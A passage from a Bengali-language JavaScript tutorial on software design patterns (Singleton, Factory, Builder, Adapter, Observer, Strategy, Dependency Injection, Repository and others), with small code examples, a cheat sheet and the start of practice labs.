✨ SOFTWARE ARCHITECTURE DIAGRAM
users

private। কিন্তু:

✨ SOFTWARE ARCHITECTURE DIAGRAM
addUser()
getUsers()

public।

37.10 Module Pattern কেন দরকার?

ধরো:

✨ SOFTWARE ARCHITECTURE DIAGRAM
users
products
payments
cart

সব global scope-এ রাখলে conflict হতে পারে। Module:

✨ APPLICATION DOMAIN ENTITIES
User Module
Product Module
Payment Module
Cart Module

এভাবে code organize করতে সাহায্য করে।

37.11 Modern ES Module

Modern JavaScript-এ আলাদা Module Pattern লেখার প্রয়োজন অনেক কমেছে।

🔹 user.js
JAVASCRIPT SourceJAVASCRIPT
export function createUser(name) {
    return {
        name
    };
}
🔹 app.js
JAVASCRIPT SourceJAVASCRIPT
import { createUser } from "./user.js";

const user = createUser("Ripon");

console.log(user);

এটাই modern modular JavaScript।

37.12 Singleton Pattern

Singleton-এর উদ্দেশ্য:

💡 একটি class/object-এর একটিমাত্র shared instance রাখা।

Real-life:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Application
     
Configuration
     
One shared instance
✨ Simple Example
JAVASCRIPT SourceJAVASCRIPT
class Database {

    static instance;

    constructor() {

        if (Database.instance) {
            return Database.instance;
        }

        Database.instance = this;
    }

}

Use:

JAVASCRIPT SourceJAVASCRIPT
const db1 = new Database();
const db2 = new Database();

console.log(db1 === db2);

Output:

✨ SOFTWARE ARCHITECTURE DIAGRAM
true
37.13 Singleton কোথায় ব্যবহার হতে পারে?

যেমন:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Configuration
Logger
Cache
Database connection manager
Application state

কিন্তু সবকিছুর জন্য Singleton ব্যবহার করা উচিত নয়। কারণ excessive global shared state testing এবং maintainability কঠিন করতে পারে।

37.14 Factory Pattern

Factory Pattern object creation-এর logic আলাদা করে। ধরো:

JAVASCRIPT SourceJAVASCRIPT
function createUser(type) {

    if (type === "admin") {
        return {
            role: "admin",
            permissions: ["read", "write", "delete"]
        };
    }

    if (type === "user") {
        return {
            role: "user",
            permissions: ["read"]
        };
    }

}

Use:

JAVASCRIPT SourceJAVASCRIPT
const admin = createUser("admin");
const user = createUser("user");
37.15 Factory-এর Real-Life Example

ধরো payment system:

✨ SOFTWARE ARCHITECTURE DIAGRAM
createPayment("card")
createPayment("paypal")
createPayment("bank")

Factory:

JAVASCRIPT SourceJAVASCRIPT
function createPayment(type) {

    switch (type) {

        case "card":
            return new CardPayment();

        case "paypal":
            return new PayPalPayment();

        case "bank":
            return new BankPayment();

        default:
            throw new Error("Unknown payment type");
    }
}

Client-কে জানতে হচ্ছে না object কীভাবে তৈরি হচ্ছে।

37.16 Builder Pattern

যখন object অনেক configuration/optional property নিয়ে তৈরি হয়, তখন Builder useful। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const user = {
    name: "Ripon",
    age: 25,
    email: "ripon@example.com",
    role: "admin",
    active: true
};

অনেক field থাকলে Builder:

JAVASCRIPT SourceJAVASCRIPT
class UserBuilder {

    constructor() {
        this.user = {};
    }

    setName(name) {
        this.user.name = name;
        return this;
    }

    setEmail(email) {
        this.user.email = email;
        return this;
    }

    setRole(role) {
        this.user.role = role;
        return this;
    }

    build() {
        return this.user;
    }
}

Use:

JAVASCRIPT SourceJAVASCRIPT
const user = new UserBuilder()
    .setName("Ripon")
    .setEmail("ripon@example.com")
    .setRole("admin")
    .build();
37.17 Builder-এর গুরুত্বপূর্ণ Feature

এখানে:

JAVASCRIPT SourceJAVASCRIPT
return this;

দেওয়ার কারণে chaining করা যায়।

✨ SOFTWARE ARCHITECTURE DIAGRAM
setName()
   
setEmail()
   
setRole()
   
build()

এটাকে method chaining বলা হয়।

37.18 Prototype Pattern

JavaScript নিজেই prototype-based language। Prototype Pattern-এর idea হলো existing object থেকে নতুন object তৈরি করা।

JAVASCRIPT SourceJAVASCRIPT
const userPrototype = {
    greet() {
        console.log(`Hello ${this.name}`);
    }
};

const user1 = Object.create(userPrototype);

user1.name = "Ripon";

user1.greet();

Output:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Hello Ripon

এখানে user1 prototype থেকে behavior পেয়েছে।

Part 03 — Structural Patterns: Adapter, Decorator, Facade & Proxy (37.19 – 37.27)
37.19 Adapter Pattern

Adapter incompatible interface-কে compatible interface-এ convert করে। Real-life:

✨ SOFTWARE ARCHITECTURE DIAGRAM
USB-C Laptop
      
Adapter
      
HDMI Monitor

Software-এও একই ধারণা। ধরো:

JAVASCRIPT SourceJAVASCRIPT
class OldPaymentSystem {

    makePayment(amount) {
        return `Paid ${amount}`;
    }

}

কিন্তু নতুন system চায়:

JAVASCRIPT SourceJAVASCRIPT
pay(amount)

Adapter:

JAVASCRIPT SourceJAVASCRIPT
class PaymentAdapter {

    constructor(oldSystem) {
        this.oldSystem = oldSystem;
    }

    pay(amount) {
        return this.oldSystem.makePayment(amount);
    }

}

Use:

JAVASCRIPT SourceJAVASCRIPT
const oldSystem = new OldPaymentSystem();

const payment = new PaymentAdapter(oldSystem);

console.log(payment.pay(1000));
37.20 Adapter কোথায় Useful?
✨ SOFTWARE ARCHITECTURE DIAGRAM
Old API
   
Adapter
   
New Application

Useful যখন:

  • Legacy code আছে
  • Third-party API-এর interface আলাদা
  • Library replace করতে চাও
  • Multiple data source unify করতে চাও
37.21 Decorator Pattern

Decorator existing object-এর behavior modify/extend করে। ধরো:

JAVASCRIPT SourceJAVASCRIPT
function basicUser() {
    return {
        name: "Ripon"
    };
}

Decorator:

JAVASCRIPT SourceJAVASCRIPT
function addAdminPermission(user) {

    return {
        ...user,
        role: "admin"
    };

}

Use:

JAVASCRIPT SourceJAVASCRIPT
const user = basicUser();

const admin = addAdminPermission(user);

console.log(admin);
37.22 Real-Life Decorator

ধরো coffee:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Coffee
 
+ Milk
 
+ Sugar
 
+ Cream

Software:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Base Function
 
Decorator 1
 
Decorator 2
 
Decorator 3

একটি existing behavior-এর ওপর নতুন behavior layer করা হয়।

37.23 Higher-Order Function as Decorator

JavaScript-এ function দিয়েও decorator pattern করা যায়।

JAVASCRIPT SourceJAVASCRIPT
function withLogging(fn) {

    return function (...args) {

        console.log("Function called");

        return fn(...args);
    };

}

Original:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
    return a + b;
}

Decorate:

JAVASCRIPT SourceJAVASCRIPT
const loggedAdd = withLogging(add);

loggedAdd(2, 3);

Output:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Function called

Return:

✨ SOFTWARE ARCHITECTURE DIAGRAM
5
37.24 Facade Pattern

Facade complex system-এর সামনে simple interface দেয়। ধরো online order system:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Order
 ── Inventory
 ── Payment
 ── Shipping
 ── Notification
 ── Database

Client-কে সব system আলাদাভাবে call করতে না দিয়ে:

JAVASCRIPT SourceJAVASCRIPT
class OrderFacade {

    constructor() {
        this.inventory = new Inventory();
        this.payment = new Payment();
        this.shipping = new Shipping();
    }

    placeOrder(order) {

        this.inventory.reserve(order);
        this.payment.charge(order);
        this.shipping.ship(order);

    }
}

Client:

JAVASCRIPT SourceJAVASCRIPT
const orderSystem = new OrderFacade();

orderSystem.placeOrder(order);
37.25 Facade-এর মূল ধারণা
✨ SOFTWARE ARCHITECTURE DIAGRAM
Complex System
      
    Facade
      
Simple API
37.26 Proxy Pattern

JavaScript-এ Proxy built-in feature। Proxy দিয়ে object-এর operation intercept করা যায়।

JAVASCRIPT SourceJAVASCRIPT
const user = {
    name: "Ripon"
};

const proxy = new Proxy(user, {

    get(target, property) {

        console.log(`Reading: ${property}`);

        return target[property];
    }

});

Use:

JAVASCRIPT SourceJAVASCRIPT
console.log(proxy.name);

Output conceptually:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Reading: name
Ripon
37.27 Proxy-এর Real Use Cases
✨ SOFTWARE ARCHITECTURE DIAGRAM
Validation
Logging
Access control
Reactive systems
Caching
Data transformation

Vue-এর reactive system-এর মতো frameworks-এ Proxy-এর concepts গুরুত্বপূর্ণ।

Part 04 — Behavioral Patterns: Observer, Pub/Sub, Strategy, Command, State & Chain (37.28 – 37.41)
37.28 Observer Pattern

Observer Pattern-এর মূল idea:

💡 একটি object-এর state পরিবর্তন হলে interested observers-কে notify করা।

Real-life:

✨ SOFTWARE ARCHITECTURE DIAGRAM
YouTube Channel
      
New Video
      
Subscribers
      
Notification
37.29 Observer Example
JAVASCRIPT SourceJAVASCRIPT
class Subject {

    constructor() {
        this.observers = [];
    }

    subscribe(observer) {
        this.observers.push(observer);
    }

    notify(data) {

        this.observers.forEach(observer => {
            observer(data);
        });

    }

}

Use:

JAVASCRIPT SourceJAVASCRIPT
const news = new Subject();

news.subscribe(data => {
    console.log("User 1:", data);
});

news.subscribe(data => {
    console.log("User 2:", data);
});

news.notify("New article published");

Output:

✨ SOFTWARE ARCHITECTURE DIAGRAM
User 1: New article published
User 2: New article published
37.30 Observer কোথায় ব্যবহার হয়?
✨ SOFTWARE ARCHITECTURE DIAGRAM
DOM Events
State Management
UI Updates
Notifications
WebSocket Events
Event Systems

React-এর state-driven UI এবং event-driven systems বুঝতে Observer concept helpful।

37.31 Pub/Sub Pattern

Observer-এর সাথে related হলেও Pub/Sub-এ publisher এবং subscriber সরাসরি একে অপরকে জানে না।

✨ SOFTWARE ARCHITECTURE DIAGRAM
Publisher
    
 Event Bus
    
Subscriber
37.32 Simple Pub/Sub
JAVASCRIPT SourceJAVASCRIPT
class EventBus {

    constructor() {
        this.events = {};
    }

    subscribe(event, callback) {

        if (!this.events[event]) {
            this.events[event] = [];
        }

        this.events[event].push(callback);
    }

    publish(event, data) {

        const callbacks = this.events[event] || [];

        callbacks.forEach(callback => {
            callback(data);
        });

    }
}

Use:

JAVASCRIPT SourceJAVASCRIPT
const bus = new EventBus();

bus.subscribe("login", user => {
    console.log("Welcome", user.name);
});

bus.publish("login", {
    name: "Ripon"
});

Output:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Welcome Ripon
37.33 Observer vs Pub/Sub
ObserverPub/Sub
Subject knows observersPublisher usually doesn't know subscribers
Direct relationshipEvent channel/message bus
SimplerMore decoupled
State changes usefulEvent communication useful
37.34 Strategy Pattern

Strategy Pattern:

💡 একই কাজ করার multiple algorithm/strategy থাকলে runtime-এ প্রয়োজন অনুযায়ী strategy নির্বাচন করা।

ধরো payment:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Card
PayPal
Bank
Crypto

একটি interface/contract-এর মাধ্যমে:

JAVASCRIPT SourceJAVASCRIPT
class PaymentProcessor {

    constructor(strategy) {
        this.strategy = strategy;
    }

    pay(amount) {
        return this.strategy.pay(amount);
    }

}

Strategies:

JAVASCRIPT SourceJAVASCRIPT
const cardPayment = {
    pay(amount) {
        return `Card payment: ${amount}`;
    }
};

const bankPayment = {
    pay(amount) {
        return `Bank payment: ${amount}`;
    }
};

Use:

JAVASCRIPT SourceJAVASCRIPT
const processor =
    new PaymentProcessor(cardPayment);

console.log(processor.pay(1000));
37.35 Strategy-এর Real-Life Example

Delivery system:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Standard Delivery
Express Delivery
Same-Day Delivery

Customer অনুযায়ী strategy change:

JAVASCRIPT SourceJAVASCRIPT
const delivery =
    new DeliveryService(expressDelivery);

মূল business code বদলাতে হচ্ছে না।

37.36 Command Pattern

Command Pattern:

💡 কোনো operation-কে object হিসেবে represent করা।

ধরো text editor:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Type
Copy
Paste
Undo
Redo

Command:

JAVASCRIPT SourceJAVASCRIPT
class AddTextCommand {

    constructor(editor, text) {
        this.editor = editor;
        this.text = text;
    }

    execute() {
        this.editor.add(this.text);
    }

    undo() {
        this.editor.remove(this.text);
    }

}

এখানে action-টি object হয়ে গেল।

37.37 Command কোথায় Useful?
✨ SOFTWARE ARCHITECTURE DIAGRAM
Undo/Redo
Task Queue
Transactions
Menus
Buttons
Job Processing
37.38 State Pattern

একটি object-এর behavior তার current state-এর ওপর নির্ভর করলে State Pattern useful। Real-life:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Order

── Pending
── Paid
── Shipped
── Delivered

State পরিবর্তনের সাথে behavior পরিবর্তিত হয়।

JAVASCRIPT SourceJAVASCRIPT
class Order {

    constructor() {
        this.state = "pending";
    }

    pay() {

        if (this.state === "pending") {
            this.state = "paid";
        }

    }

}
37.39 Chain of Responsibility

একটি request একাধিক handler-এর chain-এর মধ্য দিয়ে যায়।

✨ SOFTWARE ARCHITECTURE DIAGRAM
Request
   
Handler 1
   
Handler 2
   
Handler 3
   
Response
37.40 Real-Life Example: Authentication
✨ TIERED ENTERPRISE ARCHITECTURE FLOW
Request
 
Check Token
 
Check Permission
 
Check Role
 
Controller

Node/Express middleware system এই ধারণার সাথে খুব closely related। Example:

JAVASCRIPT SourceJAVASCRIPT
app.use(authMiddleware);
app.use(roleMiddleware);
app.get("/admin", controller);
37.41 Middleware as Chain

Express-এর conceptually:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Request
 
Middleware 1
 
Middleware 2
 
Middleware 3
 
Route Handler

প্রতিটি middleware:

JAVASCRIPT SourceJAVASCRIPT
function middleware(req, res, next) {

    // work

    next();
}

এটি Chain of Responsibility concept বোঝার জন্য খুব useful।

Part 05 — Architectural Patterns & Clean Software Engineering (37.42 – 37.55)
37.42 Dependency Injection

Dependency Injection বা DI হলো:

💡 কোনো object-এর প্রয়োজনীয় dependency নিজে তৈরি না করে বাইরে থেকে provide করা।

খারাপ coupling:

JAVASCRIPT SourceJAVASCRIPT
class UserService {

    constructor() {
        this.database = new MySQLDatabase();
    }

}

এখানে UserService নিজেই database তৈরি করছে।

37.43 Dependency Injection Example

Better:

JAVASCRIPT SourceJAVASCRIPT
class UserService {

    constructor(database) {
        this.database = database;
    }

}

তারপর:

JAVASCRIPT SourceJAVASCRIPT
const database = new MySQLDatabase();

const userService =
    new UserService(database);
37.44 DI কেন ভালো?

Testing সহজ:

JAVASCRIPT SourceJAVASCRIPT
const fakeDatabase = {
    getUser() {
        return {
            id: 1,
            name: "Test User"
        };
    }
};

তারপর:

JAVASCRIPT SourceJAVASCRIPT
const service =
    new UserService(fakeDatabase);

Real database দরকার নেই। এখানে Testing + Design Pattern একসাথে কাজ করছে।

37.45 Dependency Inversion-এর সাথে Relation

Dependency Injection হলো implementation technique। Dependency Inversion Principle হলো architectural principle। সহজভাবে:

✨ SOFTWARE ARCHITECTURE DIAGRAM
High-level code
       
Abstraction
       
Low-level implementation

এতে tight coupling কমে।

37.46 Repository Pattern

Full Stack/Backend development-এ খুব useful। Database logic আলাদা layer-এ রাখা:

✨ TIERED ENTERPRISE ARCHITECTURE FLOW
Controller
    
Service
    
Repository
    
Database

Repository:

JAVASCRIPT SourceJAVASCRIPT
class UserRepository {

    async findById(id) {
        return db.users.findById(id);
    }

}

Service:

JAVASCRIPT SourceJAVASCRIPT
class UserService {

    constructor(userRepository) {
        this.userRepository = userRepository;
    }

    async getUser(id) {
        return this.userRepository.findById(id);
    }

}

এতে database implementation change করা সহজ হয়।

37.47 Service Layer Pattern

Business logic controller-এ সব লিখে না রেখে Service layer-এ রাখা হয়। Bad:

✨ TIERED ENTERPRISE ARCHITECTURE FLOW
Controller
 ── validation
 ── business logic
 ── payment
 ── database
 ── email

Better:

✨ TIERED ENTERPRISE ARCHITECTURE FLOW
Controller
    
Service
    
Repository
    
Database
37.48 MVC Pattern

Web development-এ খুব পরিচিত architecture:

✨ TIERED ENTERPRISE ARCHITECTURE FLOW
MVC

── Model
── View
── Controller
🔹 Model

Data/business model।

🔹 View

UI।

🔹 Controller

Request/interaction handle করে।

37.49 MVC Example
✨ TIERED ENTERPRISE ARCHITECTURE FLOW
Browser
   
Controller
   
Model
   
Database
   
Controller
   
View
   
Browser

Traditional server-rendered applications-এ এটি খুব common।

37.50 Layered Architecture

Full Stack project-এ:

✨ TIERED ENTERPRISE ARCHITECTURE FLOW
Presentation Layer
       
Controller Layer
       
Service Layer
       
Repository Layer
       
Database

এভাবে responsibility ভাগ করা যায়।

37.51 Separation of Concerns

Design Pattern-এর বড় উদ্দেশ্যগুলোর একটি:

💡 একটি অংশের কাজ যেন অন্য অংশের কাজের সাথে অপ্রয়োজনীয়ভাবে মিশে না যায়।

উদাহরণ:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Authentication
Payment
Email
Database
UI

সব এক function-এ না রেখে আলাদা responsibility।

37.52 DRY

DRY = Don't Repeat Yourself খারাপ:

JAVASCRIPT SourceJAVASCRIPT
function adminLogin() {
    // same validation
}

function userLogin() {
    // same validation
}

Better:

JAVASCRIPT SourceJAVASCRIPT
function validateLogin(data) {
    // shared validation
}

তারপর:

JAVASCRIPT SourceJAVASCRIPT
validateLogin(adminData);
validateLogin(userData);
37.53 KISS

KISS = Keep It Simple অতিরিক্ত complex architecture সবসময় ভালো নয়। যদি problem:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
    return a + b;
}

হয়, তাহলে ৫টি design pattern দরকার নেই। 😄 Pattern complexity তৈরি করার জন্য নয়।

37.54 YAGNI

YAGNI = You Aren't Gonna Need It যে feature এখন দরকার নেই, শুধু ভবিষ্যতে লাগতে পারে ভেবে architecture over-engineer করো না।

✨ SOFTWARE ARCHITECTURE DIAGRAM
Need today
   
Build today
37.55 Composition Over Inheritance

Modern JavaScript/React development-এ খুব গুরুত্বপূর্ণ। Inheritance:

JAVASCRIPT SourceJAVASCRIPT
class Admin extends User {}

Composition:

JAVASCRIPT SourceJAVASCRIPT
const admin = {
    ...user,
    permissions: ["read", "write"]
};

অথবা behavior compose করা। React নিজেও composition-এর ওপর অনেক বেশি জোর দেয়।

Part 06 — Modern React & Full-Stack Application Patterns (37.56 – 37.66)
37.56 React-এ Design Patterns

React development-এ তুমি দেখতে পারো:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Component Composition
Container/Presentational
Custom Hooks
Provider Pattern
Compound Components
Render Props
Higher-Order Components
Observer-like state updates
Strategy-like behavior selection
37.57 Custom Hook as Reusable Pattern

ধরো:

JAVASCRIPT SourceJAVASCRIPT
function useFetch(url) {

    const [data, setData] = useState(null);

    // fetch logic

    return data;
}

Multiple components:

✨ SOFTWARE ARCHITECTURE DIAGRAM
const users = useFetch("/api/users");

এতে fetching logic reuse করা যায়।

37.58 Provider Pattern

React Context:

✨ SOFTWARE ARCHITECTURE DIAGRAM
<AuthProvider>
    <App />
</AuthProvider>

তারপর:

✨ SOFTWARE ARCHITECTURE DIAGRAM
const { user } = useAuth();

একটি shared context provide করা হয়। এটি Provider Pattern বোঝার জন্য useful।

37.59 Compound Component Pattern

Example:

✨ SOFTWARE ARCHITECTURE DIAGRAM
<Select>
    <Select.Option />
    <Select.Option />
</Select>

Parent component এবং child components একসাথে coordinated behavior দেয়। এটি reusable UI component library-তে খুব useful।

37.60 Design Pattern নির্বাচন কীভাবে করবে?

প্রথমে pattern খুঁজবে না। প্রথমে problem বুঝবে।

✨ SOFTWARE ARCHITECTURE DIAGRAM
Problem
   
What changes?
   
What is coupled?
   
What should be reusable?
   
Which pattern fits?
37.61 Problem → Pattern Cheat Sheet
Problemসম্ভাব্য Pattern
Object creation complexFactory / Builder
One shared instanceSingleton
Incompatible APIAdapter
Add behavior dynamicallyDecorator
Complex system simplifyFacade
Object access interceptProxy
State change notificationObserver
Event communicationPub/Sub
Multiple algorithmsStrategy
Undo/redo/action queueCommand
State-based behaviorState
Request through handlersChain of Responsibility
External dependency controlDependency Injection
Database abstractionRepository
37.62 Pattern Overuse

এটা খুব গুরুত্বপূর্ণ। ধরো:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
    return a + b;
}

এখানে:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Factory
Singleton
Observer
Strategy
Facade

সব লাগানো absurd। 😄 Design Pattern:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Problem solve করার tool

Architecture decorate করার জন্য নয়।

37.63 Design Pattern-এর সুবিধা
✨ SOFTWARE ARCHITECTURE DIAGRAM
✅ Reusability
✅ Maintainability
✅ Scalability
✅ Testability
✅ Loose Coupling
✅ Better Organization
✅ Team Communication
37.64 অসুবিধা

Pattern ভুলভাবে ব্যবহার করলে:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Over-engineering
❌ More code
❌ More abstraction
❌ Harder debugging
❌ Unnecessary complexity

তাই:

💡 Simple problem → Simple solution.
37.65 Real Full-Stack Architecture

তোমার Full Stack project-এর জন্য একটি practical architecture:

✨ TIERED ENTERPRISE ARCHITECTURE FLOW
React Frontend
                       
                       
                  API Request
                       
                       
                 Express Router
                       
                       
                  Middleware
                       
                       
                  Controller
                       
                       
                   Service
                       
                       
                 Repository
                       
                       
                   Database

এখানে বিভিন্ন concept:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Middleware
 Chain of Responsibility

Repository
 Repository Pattern

Service
 Separation of Concerns

Dependency Injection
 Loose Coupling

React Context
 Provider Pattern

API events
 Observer / Pub-Sub concepts
37.66 Mini Real-World Example — E-Commerce Checkout Architecture

ধরো তুমি একটি E-commerce Order System বানাচ্ছো। Architecture:

✨ TIERED ENTERPRISE ARCHITECTURE FLOW
User
 
OrderController
 
OrderService
 
PaymentStrategy
 
PaymentGateway
 
Repository
 
Database
🔹 Payment Strategy
JAVASCRIPT SourceJAVASCRIPT
const card = {
    pay(amount) {
        return `Card: ${amount}`;
    }
};

const bank = {
    pay(amount) {
        return `Bank: ${amount}`;
    }
};
🔹 Service
JAVASCRIPT SourceJAVASCRIPT
class OrderService {

    constructor(paymentStrategy) {
        this.paymentStrategy = paymentStrategy;
    }

    checkout(amount) {
        return this.paymentStrategy.pay(amount);
    }

}

Use:

JAVASCRIPT SourceJAVASCRIPT
const service =
    new OrderService(card);

console.log(service.checkout(2000));

Output:

✨ SOFTWARE ARCHITECTURE DIAGRAM
Card: 2000

Payment method change:

JAVASCRIPT SourceJAVASCRIPT
const service =
    new OrderService(bank);

মূল OrderService code পরিবর্তন করতে হয়নি। এটাই Strategy + Dependency Injection-এর practical combination।

Part 07 — Must Know Architecture Pillars, Quick Cheat Sheet, 9 Practice Labs & Final Mental Map
37.67 🔥 MUST KNOW — ডিজাইন প্যাটার্নের ২৫টি মূল ভিত্তি ও নীতি

সফটওয়্যার ইঞ্জিনিয়ারিং ও ফুলস্ট্যাক ডেভেলপমেন্টে সিনিয়র লেভেলে উত্তীর্ণ হতে এই ২৫টি কনসেপ্ট অত্যন্ত জরুরি:

📌 1. Creational & Structural
  • Factory: অবজেক্ট তৈরির লজিক সেন্ট্রালাইজড করা
  • Singleton: পুরো অ্যাপ্লিকেশনে শেয়ার্ড একটিমাত্র ইনস্ট্যান্স
  • Builder: ধাপে ধাপে জটিল অবজেক্ট কনস্ট্রাকশন
  • Adapter: ইনকম্প্যাটিবল ইন্টারফেসকে রূপান্তর
  • Decorator: অবজেক্ট পরিবর্তন ছাড়া ফিচার যুক্ত
  • Facade: জটিল সাবসিস্টেমের সহজ এন্ট্রি পয়েন্ট
  • Proxy: অবজেক্ট অপারেশন ইন্টারসেপ্ট ও ক্যাশিং
  • Module: প্রাইভেট স্কোপ ও পাবলিক API এক্সপোজ
📌 2. Behavioral Patterns
  • Observer: ডিপেন্ডেন্ট অবজেক্টে স্টেট চেঞ্জ ব্রডকাস্ট
  • Pub/Sub: ইভেন্ট বাস দিয়ে সম্পূর্ণ ডিকাপল্ড কমিউনিকেশন
  • Strategy: রানটাইমে অ্যালগরিদম বা পেমেন্ট পরিবর্তন
  • Command: অ্যাকশনকে অবজেক্ট বানিয়ে কিউ বা আনডু
  • State: ইন্টারনাল স্টেট অনুযায়ী অবজেক্টের আচরণ বদল
  • Chain of Resp.: হ্যান্ডলার চেইন দিয়ে রিকোয়েস্ট পাস (Middleware)
  • Template Method: স্কেলিটন ক্লাস দিয়ে সাবক্লাসে স্টেপ নির্ধারণ
  • Iterator: সিকোয়েন্সের ভেতরের ডেটা ট্রাভার্সাল
📌 3. Architecture & Clean Code
  • Dependency Injection (DI): বাইরে থেকে ডিপেন্ডেন্সি পুশ
  • Repository: ডাটাবেস এক্সেস বিজনেস লজিক থেকে পৃথক
  • Service Layer: কোর বিজনেস রুলসের সেন্ট্রাল লেয়ার
  • MVC: Model, View এবং Controller সেপারেশন
  • Separation of Concerns: প্রতিটি লেয়ারের নির্দিষ্ট কাজ
  • DRY, KISS, YAGNI: সিম্পল ও আননেসেসারি কোড মুক্ত রাখা
  • Composition over Inheritance: নমনীয় অবজেক্ট কম্পোজিশন
  • Pragmatism: প্রয়োজনের অতিরিক্ত প্যাটার্ন ব্যবহার পরিহার
37.68 🧠 Quick Cheat Sheet — ডিজাইন প্যাটার্ন নির্বাচন নির্দেশিকা
Pattern NameCategoryPrimary IntentProduction Real-World Example
Factory PatternCreationalঅবজেক্ট তৈরির মেকানিজম এনক্যাপসুলেট করাdocument.createElement(), Auth User Factory
Singleton PatternCreationalএকটিমাত্র ইনস্ট্যান্স নিশ্চিত ও শেয়ার করাDatabase Connection Pool, Global State Manager
Builder PatternCreationalধাপে ধাপে জটিল কনফিগারেশন তৈরিKnex/Prisma Query Builder, Form Builder
Adapter PatternStructuralভিন্ন ইন্টারফেসকে প্রত্যাশিত ফরম্যাটে মেলানোLegacy Payment API to Modern Interface
Decorator PatternStructuralঅবজেক্ট মডিফাই না করে ডায়নামিক আচরণ বৃদ্ধিExpress Middleware, HOC (Higher-Order Components)
Facade PatternStructuralজটিল সাবসিস্টেমের সামনে একটি সহজ API দেওয়াAxios facade over fetch/XMLHttpRequest
Proxy PatternStructuralঅবজেক্টের অ্যাক্সেস নিয়ন্ত্রণ বা ক্যাশিংVue 3 Reactive System, Validation Proxy
Observer PatternBehavioral১-টু-মেনি অবজেক্ট নোটিফিকেশন সিস্টেমDOM addEventListener, MobX Observables
Pub/Sub PatternBehavioralমধ্যবর্তী চ্যানেল দ্বারা সম্পূর্ণ ডিকাপল্ড ইভেন্টNode.js EventEmitter, Redux Actions, Redis Pub/Sub
Strategy PatternBehavioralরানটাইমে অ্যালগরিদম অদলবদল করাMulti-gateway Payment (Card/bKash/Bank)
Command PatternBehavioralরিকোয়েস্টকে অবজেক্টে রূপান্তর (Undo/Redo)Rich Text Editor actions, Task Queues
State PatternBehavioralঅবজেক্টের অভ্যন্তরীণ স্টেট অনুযায়ী আচরণ বদলানোOrder Status Machine (Pending -> Paid -> Shipped)
Chain of ResponsibilityBehavioralহ্যান্ডলার চেইনে রিকোয়েস্ট পাস করাExpress/Koa middleware pipeline
Dependency InjectionArchitecturalক্লাসের বাইরে থেকে ডিপেন্ডেন্সি পাস করাNestJS DI Container, Unit Testing Mocking
Repository PatternArchitecturalডাটা অ্যাক্সেস লজিক বিজনেস লজিক থেকে পৃথকORM Repositories (Prisma, TypeORM)
Service LayerArchitecturalবিজনেস লজিক এক জায়গায় সেন্ট্রালাইজ করাEnterprise Node.js / NestJS Backend
Part 07.1 — 9 Hands-On Practice Labs with Complete Production Solutions
Lab 1: Factory Pattern — Dynamic User Creation with Role Permissions Beginner

সমস্যা ও লক্ষ্য: একটি createUser("admin" | "user" | "guest") Factory তৈরি করুন যা ইউজারের রোল অনুযায়ী নির্দিষ্ট পারমিশন (canEdit, canDelete, canView) যুক্ত অবজেক্ট রিটার্ন করবে।

PRODUCTION SOLUTION: LAB 1JAVASCRIPT
function createUser(role, name) {
  const baseUser = { name, role, createdAt: new Date().toISOString() };
  
  switch (role) {
    case 'admin':
      return {
        ...baseUser,
        permissions: { canView: true, canEdit: true, canDelete: true },
        describe() { return `${this.name} [ADMIN] - Full Access`; }
      };
    case 'user':
      return {
        ...baseUser,
        permissions: { canView: true, canEdit: true, canDelete: false },
        describe() { return `${this.name} [USER] - Edit Access`; }
      };
    case 'guest':
    default:
      return {
        ...baseUser,
        permissions: { canView: true, canEdit: false, canDelete: false },
        describe() { return `${this.name} [GUEST] - Read-Only Access`; }
      };
  }
}

// Verification
const admin = createUser('admin', 'Tanvir');
const guest = createUser('guest', 'Rahim');
console.log(admin.describe()); // Tanvir [ADMIN] - Full Access
console.log('Guest Delete Allowed:', guest.permissions.canDelete); // false
💡 আর্কিটেকচারাল ব্যাখ্যা: Factory Pattern অবজেক্ট তৈরির কমপ্লেক্স লজিক ও রুলস একটি সাধারণ ফাংশনের ভেতরে এনক্যাপসুলেট করে দেয়, ফলে ক্লায়েন্ট কোডে বারবার if/else চেক করার দরকার হয় না।
Lab 2: Singleton Pattern — Centralized Application Logger Beginner

সমস্যা ও লক্ষ্য: একটি Logger ক্লাস তৈরি করুন যেখানে যতবারই new Logger() করা হোক না কেন, সবসময় একই শেয়ার্ড ইনস্ট্যান্স রিটার্ন হবে (logger1 === logger2 হবে true)।

PRODUCTION SOLUTION: LAB 2JAVASCRIPT
class Logger {
  constructor() {
    if (Logger.instance) {
      return Logger.instance;
    }
    this.logs = [];
    Logger.instance = this;
  }

  log(message) {
    const timestamp = new Date().toLocaleTimeString();
    const entry = `[${timestamp}] ${message}`;
    this.logs.push(entry);
    console.log(entry);
  }

  getLogCount() {
    return this.logs.length;
  }
}

// Verification
const logger1 = new Logger();
const logger2 = new Logger();

logger1.log('Application started successfully');
logger2.log('Database connected');

console.log('Is Identical Instance?', logger1 === logger2); // true
console.log('Total Logs Recorded:', logger1.getLogCount());  // 2
💡 আর্কিটেকচারাল ব্যাখ্যা: Singleton Pattern নিশ্চিত করে যে কোনো রিসোর্স-ইনটেনসিভ বা স্টেটফুল ক্লাসের পুরো অ্যাপ্লিকেশনে শুধুমাত্র একটিমাত্র ইনস্ট্যান্স বিদ্যমান থাকবে।
Lab 3: Adapter Pattern — Bridging Legacy API to Modern Interface Beginner

